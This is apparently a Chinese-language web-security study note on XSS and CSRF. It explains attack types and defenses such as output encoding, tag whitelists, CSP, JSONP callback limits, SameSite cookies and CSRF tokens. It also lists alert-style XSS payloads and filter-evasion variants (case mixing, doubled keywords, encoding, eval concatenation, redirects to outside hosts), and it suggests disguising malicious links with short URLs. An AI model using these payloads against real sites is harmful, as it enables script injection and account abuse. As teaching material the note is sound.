# XSS

# 反射型

非持久型XSS,payload直接在URL中构造,然后将恶意链接发送给用户

比如http://www.test.com/message.php?send=<script>alert(666)</script>

为了避免引起怀疑,还可以使用短链接替换

https://i.bakar.moe/assets/img/20251226_3ab2a63844f041845d7b9887ff173f7a.png

# 存储型

持久型XSS,payload存入了服务器的数据库,每当用户访问有漏洞的页面,服务器从数据库取出payload显示在浏览器中,就会触发恶意代码

https://i.bakar.moe/assets/img/20251226_1e581697d6e5bb73fe76b2fffdf65f9e.png

# DOM型

DOM型XSS是特殊的反射型XSS,指的是因为使用了不安全的DOM属性而导致的反射型,例如document.location, document.URL, document.referrer等

<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2, document.URL.length));
</script>

# JSONP

JSONP(JSON with Padding)是JSON的一种使用模式,可以使得页面从别的域名获取资源而不触发同源策略

JSONP需要以下两个方面配合实现:

  • API服务器实现JSONP接口,正确响应回调函数
  • 浏览器端在请求脚本中定义回调函数,并设置callback参数指向该回调函数
// 浏览器端
<script>
function handleResponse(response) {
  // 获取数据后的处理
} 
</script>

<script src="http://api.server.com?callback=handleResponse"></script>
// 服务器端需要封装JSON为函数调用形式
handleResponse({
  // json data
});

典型的JSONP XSS payload:

http://xx.com/jsonp?callback=alert`1`&data=test

# 基础payload

  • <script>alert(/XSS/)</script>
  • <img src=1 onerror=alert(/xss/)>: onerror属性
  • <iframe onload=alert(/xss/)></iframe>: onload属性
  • <link rel=import href="http://127.0.0.1/1.js">: 利用link远程包含文件
  • <a href="javascript:alert('xss')">链接</a>: 伪协议
  • <iframe src=javascript:alert('xss')></iframe>: 伪协议
  • <img src="1.jpg" ondblclick="alert(/xss/)">: ondblclick属性
  • <form action="javascript:alert(/xss/)"><input type=submit>

# 变形payload

过滤空格、关键字、单双引号,可以采用双写关键字、大小写混用、字符拼接、混淆等

  • <iMg/src="x"/oneRroR=alert("xss")>: /代替空格,大小写混用
  • <iMg%0asrc="x"oneRroR=alert("xss")>: %0a代替空格
  • <iMimgg/srsrcc="x"/oneRroR=alert("xss")>: 双写关键字img, src
  • <iMg/src="x"/oneRroR="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
  • <script>top["al"+"ert"]('xss');</script>: 字符拼接
  • <title><img src=</title>><img src=x onerror="alert('xss');">
  • <a/HrEf='javaScript:alert(/xss/)'>click</a>
  • <iMg/src="x"/oneRroR="="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#34;&#41;&#59;">: Unicode编码绕过
  • <iMgiMg/src="x"/oneRroR="eval(unescape('%61%6c%65%72%74%28%22%78%73%22%29%3b'))">: URL编码绕过
  • <img src="x" onerror=document.location='//www.baidu.com'>: //代替http://
  • <img src="x" onerror=document.location='http://www。baidu。com'">: 。代替.
  • <img src="x" onerror=document.location='http://2130706433/'>: 十进制IP

# 防御

XSS攻击有两大要素:

  1. 攻击者提交恶意代码
  2. 浏览器执行恶意代码

因此根本的解决需要从输入到输出都进行过滤、转义

# 输入

最基本的HTMLEncode,将字符串转换为HTMLEntities(实体化转义): & < > " ' /

对于富文本输入,需要注意几个方面:

  1. 确保输入的是完整HTML,而不是有拼接的代码
  2. 通过htmlparser能解析出HTML代码的标签、属性、事件
  3. 禁止所有事件,并禁止<iframe> <script> <base> <form>等危险标签
  4. 利用白名单,只允许安全标签如<div> <a> <img>等,白名单不仅适用标签,也适用于属性
  5. 过滤用户CSS

# 输出

# HTML输出

HTMLEncode,与输入的转义相同

# JavaScript输出

JSONP 中可以通过意外截断 JSON 数据或者在页面中玩转引号来造成 XSS 攻击

let a = "get_param"
// get_param = ";alert(1);//
a = "";alert(1);//"

使用JavaScriptEncode转义,即使用\对特殊字符转义

# CSS输出

严格控制用户将变量输入至style标签,也不要引用未知的CSS文件

如果有特别的需求,可以使用如encodeForCSS()的编码函数

# URL输出

使用URLEncode

# 其他

# JSONP

  1. 严格定义Content-Type: application/json,因为浏览器渲染依靠该字段值,标记为json时即使内容全是HTML标签,浏览器也不会渲染;只要接口返回的不是HTML,那么一定不要设置为HTML
  2. callback做长度限制,比如函数名限制50个字符内
  3. 检测callback内的字符,仅允许[, ], a-zA-Z0-9_, $, .
  4. 过滤,原理同转义

# Web安全头支持

  1. CSP(Content Secutiry Policy),可以用来定义页面可以加载哪些资源
  2. X-Download-Options: noopen: 禁用下载框Open按钮
  3. X-Content-Type-Options: nosniff: 禁用IE8自动嗅探mime功能,如text/plain当成text/html渲染
  4. X-XSS-Protection: IE提供的一些XSS检测与防范,默认开启

# CSRF

利用受害者尚未失效的身份信息,诱骗其点击恶意链接,在不知情的情况下以其身份发起请求

# GET型

构造URL,诱导受害者访问

https://i.bakar.moe/assets/img/20251226_169a2c91a2b4fe1cea4a374f876f7962.png

# POST型

构造自动提交或点击提交的表单,诱导受害者访问或点击

https://i.bakar.moe/assets/img/20251226_c12720b3f98dae1cc7f3754c6ff38c29.png

# 检测

抓取一个正常的请求数据包,如果没有Referer字段和token,那么极有可能存在CSRF漏洞

如果有Referer字段,但是去掉以后重新提交依然有效,也可以判断存在CSRF

# 防御

# 阻止不明外部域名访问

# 同源检测

浏览器同源策略:协议、域名、端口都相同即同源

Cookie同源策略:域名相同即同源

浏览器发起请求时,一般会自动加上Origin和Referer两个Header,并且不能由前端修改,服务器可以靠这两个Header确定来源的域名

CSRF大多数来源于第三方域名,但也并不能排除本域发起,因此同源检测并不能完全阻止CSRF

Samesite属性用来限制第三方Cookie,有以下几种值:

  • Samesite = Strict: 完全禁止第三方Cookie,跨站点时任何情况都不发送Cookie
  • Samesite = Lax: 除了a链接、预加载请求和GET表单以外都不发送Cookie
  • Samesite = None: 关闭该属性,但同时必须设置Samesite = None; Secure

设置Strict或Lax基本就能阻止CSRF攻击

# CSRF Token

要求所有请求都携带一个无法被劫持的Token,达到防止CSRF的目的

  1. 用户打开页面时,服务器给用户生成一个token,一般包括随机字符串和时间戳的组合,并使用算法加密
  2. 对于GET请求,直接附在URL之后,如http://example.com?token=tokenValue
  3. 对于POST请求,在表单后加上<input type="hidden" name="token" value="tokenValue">
  4. 服务端首先解密token,提取随机字符串和时间戳,验证字符串是否一致、时间是否有效

# GET请求幂等性

不要在GET请求中对数据进行修改,限制只能读取